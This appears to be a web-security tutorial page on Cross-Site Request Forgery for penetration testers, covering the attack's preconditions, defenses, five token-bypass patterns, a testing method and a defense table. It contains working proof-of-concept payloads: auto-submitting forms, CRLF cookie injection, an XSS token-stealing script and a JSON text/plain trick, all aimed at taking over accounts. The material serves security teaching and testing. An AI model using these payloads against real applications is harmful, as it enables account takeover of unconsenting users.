Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery makes a victim’s browser send a state-changing request to an application where the victim is authenticated, without the victim intending it. The attacker never reads the response (the Same-Origin Policy blocks that), so CSRF is about causing an action, not stealing data. Reading the response needs a different bug, such as a CORS misconfiguration or XSS.
The 3 conditions
Section titled “The 3 conditions”CSRF is possible only when all three hold. If any one is missing, the attack fails. This is the first thing to check during a test:
| Condition | What it means | If missing |
|---|---|---|
| 1. A relevant action | The application has an action worth forging: change email, change password, transfer funds, delete data, change role | No valuable target, no CSRF worth reporting |
| 2. Cookie-based session handling | The session is identified by cookies (or HTTP Basic auth, or TLS client certs), which the browser sends automatically | If auth uses a custom header (Authorization: Bearer ...), it is not sent cross-site, so CSRF does not apply |
| 3. No unpredictable parameters | The attacker can construct the full request because there is no secret token or value they cannot guess | If a valid anti-CSRF token is required and properly validated, the attacker cannot forge the request |
How the attack works
Section titled “How the attack works”The victim is logged in to target.example. The attacker hosts a page that submits a
forged request:
<form action="https://target.example/account/change-email" method="POST"> <input type="hidden" name="email" value="attacker@attacker.example"></form><script>document.forms[0].submit();</script>When the victim visits this page:
- The browser builds a POST to
target.example/account/change-email - The browser automatically attaches the session cookie for
target.example - The server sees a valid session and changes the email
- The attacker triggers a password reset to
attacker@attacker.example - Full account takeover
GET-based CSRF (self-contained)
Section titled “GET-based CSRF (self-contained)”If the state-changing endpoint accepts GET, the attack fits in a single URL:
<img src="https://target.example/account/change-email?email=attacker@attacker.example">This can be injected in a forum post, a comment, an email (as an image), or any context that loads URLs. No attacker-hosted page required.
Delivery methods
Section titled “Delivery methods”| Method | How |
|---|---|
| Attacker’s website | Victim clicks a link |
| Email (phishing) | Link or embedded image |
| Forum / comment | Injected <img> or <a> tag |
| Social media | Shared link |
| Stored HTML injection | If the target allows HTML in user content, the CSRF payload is self-contained on the target itself |
Defense mechanisms (and how to bypass each)
Section titled “Defense mechanisms (and how to bypass each)”Understanding the defenses is critical for testing. Each one has known bypass patterns.
CSRF tokens (synchronizer token pattern)
Section titled “CSRF tokens (synchronizer token pattern)”How it works: the server generates a unique, unpredictable token per session (or per request) and embeds it in every form as a hidden field. On submission, the server verifies that the token in the request matches the one it issued.
<form action="/account/change-email" method="POST"> <input type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u"> <input type="text" name="email"> <button>Submit</button></form>POST /account/change-email HTTP/1.1Host: target.exampleCookie: session=abc123
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=user@example.comWhy it works: the attacker cannot read the token from a cross-origin page (SOP prevents it), so they cannot construct a valid request.
Why it breaks: see the 5 bypass patterns below.
Double submit cookie pattern
Section titled “Double submit cookie pattern”How it works: instead of storing the token server-side, the server sends the token as a cookie and expects it as a request parameter. On submission, the server checks that the cookie value matches the parameter value. No server-side state needed.
POST /account/change-email HTTP/1.1Host: target.exampleCookie: session=abc123; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=user@example.comThe server compares the csrf cookie with the csrf POST parameter. If they match, the
request is accepted.
The weakness: if the attacker can set a cookie on the target domain (via a sibling subdomain, CRLF injection, or cookie tossing), they control both values:
- Attacker invents a token:
attacker123 - Attacker injects the cookie:
csrf=attacker123 - Attacker’s form includes the same value as the POST parameter
- Server compares cookie vs parameter: they match. Request accepted.
See Bypass 5 below for the full PoC.
SameSite cookies
Section titled “SameSite cookies”How it works: the SameSite attribute controls whether cookies are sent on cross-site
requests.
| Value | Behavior |
|---|---|
Strict |
Cookie sent only on same-site requests. Cross-site requests never carry it. |
Lax |
Cookie sent on same-site requests and top-level GET navigations (clicking a link). Not sent on cross-site POST, iframe, or fetch. |
None |
Cookie sent on all requests, including cross-site (requires Secure flag). |
Since 2021, Chromium browsers treat cookies with no SameSite attribute as Lax by default.
Bypass vectors:
- GET-based CSRF under Lax:
Laxallows the cookie on top-level GET navigations. If the state-changing endpoint accepts GET, CSRF still works:<a href="https://target.example/account/change-email?email=attacker@attacker.example">Click here</a> - Same-site is not same-origin:
SameSiteis scoped to the eTLD+1 (e.g.,target.example), not the full origin.blog.target.exampleandapp.target.exampleare the same site. An XSS or subdomain takeover on any sibling subdomain lets the attacker send requests thatSameSiteconsiders same-site, so the cookie is included. - Two-minute Lax+POST window (Chromium): Chromium historically allowed a brief window
after a cookie is set during which
Laxbehaves likeNonefor top-level POSTs. Freshly authenticated sessions can be briefly exposed.
Referer validation
Section titled “Referer validation”How it works: the server checks the Referer header to ensure the request originated
from the same domain.
Bypass vectors:
-
Strip the Referer entirely: use the
Referrer-Policymeta tag to suppress it:Suppress Referer <meta name="referrer" content="no-referrer"><form action="https://target.example/account/change-email" method="POST"><input type="hidden" name="email" value="attacker@attacker.example"></form><script>document.forms[0].submit();</script>If the server accepts the request without a
Refererheader, the bypass works. -
Partial Referer match: some servers check if the
Referercontains the target domain instead of starting with it. Host your PoC on a URL that includes the target domain:https://attacker.example/csrf?target.exampleThe
Refererwill behttps://attacker.example/csrf?target.example, which passes a substring check.
Fetch Metadata (Sec-Fetch-Site)
Section titled “Fetch Metadata (Sec-Fetch-Site)”How it works: modern browsers send Sec-Fetch-Site: cross-site on cross-origin requests.
The server can reject any state-changing request where this header is not same-origin.
Bypass: this is the hardest defense to bypass. It is browser-enforced and cannot be spoofed by the attacker. The only viable bypass is if the server does not check the header, or if the attacker has same-site code execution (XSS).
Token bypass patterns
Section titled “Token bypass patterns”These are the 5 most common flaws in CSRF token validation, ordered by how often you find them.
Bypass 1 - Token validation depends on request method
Section titled “Bypass 1 - Token validation depends on request method”The server validates the token on POST but not on GET.
POST /account/change-email HTTP/1.1Host: target.exampleCookie: session=abc123
csrf=validtoken&email=user@example.comGET /account/change-email?email=attacker@attacker.example HTTP/1.1Host: target.exampleCookie: session=abc123PoC:
<img src="https://target.example/account/change-email?email=attacker@attacker.example">Bypass 2 - Token validation depends on token being present
Section titled “Bypass 2 - Token validation depends on token being present”The server validates the token if it is present, but skips validation entirely if the parameter is omitted.
POST /account/change-email HTTP/1.1Host: target.exampleCookie: session=abc123Content-Type: application/x-www-form-urlencoded
email=attacker@attacker.examplePoC:
<form action="https://target.example/account/change-email" method="POST"> <input type="hidden" name="email" value="attacker@attacker.example"></form><script>document.forms[0].submit();</script>Bypass 3 - Token not tied to user session
Section titled “Bypass 3 - Token not tied to user session”The server maintains a global pool of valid tokens. It checks that the token is valid, but not that it belongs to the current user’s session. The attacker can use their own token.
- Attacker logs in to their own account
- Obtains a valid token:
csrf=attackertoken123 - Uses that token in the CSRF payload against the victim
PoC:
<form action="https://target.example/account/change-email" method="POST"> <input type="hidden" name="csrf" value="attackertoken123"> <input type="hidden" name="email" value="attacker@attacker.example"></form><script>document.forms[0].submit();</script>Bypass 4 - Token tied to a non-session cookie
Section titled “Bypass 4 - Token tied to a non-session cookie”The CSRF token is tied to a separate csrfKey cookie, not to the session cookie.
POST /account/change-email HTTP/1.1Host: target.exampleCookie: session=victim-session; csrfKey=attacker-csrf-key
csrf=attacker-csrf-token&email=attacker@attacker.exampleIf the attacker can inject the csrfKey cookie into the victim’s browser (via a sibling
subdomain, CRLF injection, or cookie tossing from a related domain), they can pair their own
csrfKey cookie with their own CSRF token.
How to inject the cookie:
Any subdomain of target.example can set a cookie for the parent domain. If
staging.target.example has a header injection or any user-controlled response header:
GET /?injection=%0d%0aSet-Cookie:+csrfKey=attacker-key;+Domain=target.example HTTP/1.1Host: staging.target.exampleThe victim’s browser now has csrfKey=attacker-key for target.example. The attacker’s
CSRF form uses the token that matches this key.
Bypass 5 - Double submit cookie (token duplicated in cookie)
Section titled “Bypass 5 - Double submit cookie (token duplicated in cookie)”The server compares the csrf cookie value with the csrf POST parameter. It does not
store the token server-side.
POST /account/change-email HTTP/1.1Host: target.exampleCookie: session=abc123; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=user@example.comThe attacker invents any value, injects it as the cookie, and uses the same value in the form:
PoC:
<form action="https://target.example/account/change-email" method="POST"> <input type="hidden" name="csrf" value="fake"> <input type="hidden" name="email" value="attacker@attacker.example"></form><img src="https://staging.target.example/?inject=%0d%0aSet-Cookie:+csrf=fake" onerror="document.forms[0].submit()">The <img> tag triggers a request to a subdomain with a header injection that sets
csrf=fake as a cookie. After the cookie is set, the form submits with csrf=fake as the
parameter. The server compares them: they match. Request accepted.
Testing methodology
Section titled “Testing methodology”Phase 1 - Identify targets
Section titled “Phase 1 - Identify targets”Map every state-changing request in Burp’s site map:
| Look for | Why |
|---|---|
| Email change | Account takeover via password reset |
| Password change | Direct account takeover |
| Role / permission change | Privilege escalation |
| Fund transfer / purchase | Financial loss |
| Data deletion | Destructive action |
| Admin actions | Full application compromise |
Phase 2 - Check the 3 conditions
Section titled “Phase 2 - Check the 3 conditions”For each target request:
- Is the session managed by cookies? (Check
Set-CookieandCookieheaders) - Is there a CSRF token? (Look for hidden fields, custom headers)
- Are all other parameters predictable?
Phase 3 - Test token validation (if a token exists)
Section titled “Phase 3 - Test token validation (if a token exists)”| Test | How | Bypass # |
|---|---|---|
| Remove the token parameter entirely | Delete the csrf field from the request |
2 |
| Change request method to GET | Switch POST to GET, move params to query string | 1 |
| Use your own account’s token | Log in to a second account, copy its token | 3 |
| Use a valid token with another user’s csrfKey cookie | Swap only the cookie | 4 |
| Set a cookie and use a matching invented token | Inject cookie via subdomain | 5 |
Phase 4 - Test other defenses
Section titled “Phase 4 - Test other defenses”| Defense | Test |
|---|---|
| SameSite | Check the Set-Cookie header. If no explicit SameSite, test in Firefox (no default Lax). If Lax, try GET-based CSRF. |
| Referer validation | Remove Referer with <meta name="referrer" content="no-referrer">. Try subdomain URL in the Referer. |
| Content-Type restriction | If JSON, try enctype="text/plain" form trick. |
Phase 5 - Generate and deliver the PoC
Section titled “Phase 5 - Generate and deliver the PoC”Use Burp Suite Pro: right-click the request, Engagement tools, Generate CSRF PoC. Test it in a browser session that is logged in to the target. Confirm the action executes.
XSS bypasses all CSRF defenses
Section titled “XSS bypasses all CSRF defenses”XSS on the target is the nuclear option against CSRF protection. If the attacker has XSS:
- Read the CSRF token from the page (
document.querySelector('input[name=csrf]').value) - Include it in the forged request
- The request is now indistinguishable from a legitimate one
<script>fetch('/account/change-email') .then(r => r.text()) .then(html => { var parser = new DOMParser(); var doc = parser.parseFromString(html, 'text/html'); var token = doc.querySelector('input[name=csrf]').value; fetch('/account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'csrf=' + token + '&email=attacker@attacker.example' }); });</script>This is why XSS is strictly more powerful than CSRF: it can do everything CSRF does, plus read responses.
Reaching a JSON endpoint with a form
Section titled “Reaching a JSON endpoint with a form”If the endpoint expects Content-Type: application/json, a cross-site fetch triggers a
CORS preflight, which blocks the request. But an HTML form with enctype="text/plain" sends
no preflight. If the server parses the body as JSON regardless of the Content-Type:
<form action="https://target.example/api/change-email" method="POST" enctype="text/plain"> <input name='{"email":"attacker@attacker.example","padding":"' value='"}'></form><script>document.forms[0].submit();</script>The browser serializes name=value, producing:
{"email":"attacker@attacker.example","padding":"="}Valid JSON. The = from the form encoding lands in a throwaway field.
Defense (from the builder’s perspective)
Section titled “Defense (from the builder’s perspective)”| Measure | How it works | Bypass difficulty |
|---|---|---|
| Synchronizer token (per-session, server-side) | Token tied to session, validated on every state-changing request | Hard (requires XSS or implementation flaw) |
| Double submit cookie (stateless) | Token in cookie must match token in body | Medium (bypassable if attacker can set cookies) |
| SameSite=Strict | Cookie never sent cross-site | Hard (requires same-site XSS or subdomain takeover) |
| SameSite=Lax (default in Chrome) | Cookie sent on top-level GET only | Medium (GET-based endpoints still vulnerable) |
Fetch Metadata (Sec-Fetch-Site) |
Reject requests where Sec-Fetch-Site: cross-site |
Very hard (browser-enforced, not spoofable) |
| Referer validation | Check the Referer header matches the target domain |
Easy (strip Referer, use substring-matching flaws) |
Custom request header (e.g., X-Requested-With) |
Requires a header that cross-site forms cannot set | Hard (requires CORS misconfiguration to add headers) |
| Re-authentication | Require current password for sensitive actions | Very hard (attacker would need the password) |
References
Section titled “References”- PortSwigger Web Security Academy - CSRF
- PortSwigger Lab: CSRF where token validation depends on request method
- PortSwigger Lab: CSRF where token validation depends on token being present
- PortSwigger Lab: CSRF where token is not tied to user session
- PortSwigger Lab: CSRF where token is tied to non-session cookie
- PortSwigger Lab: CSRF where token is duplicated in cookie
- OWASP CSRF Prevention Cheat Sheet
- MDN - SameSite cookies
- web.dev - Fetch Metadata request headers
1,984 words, about 10 min read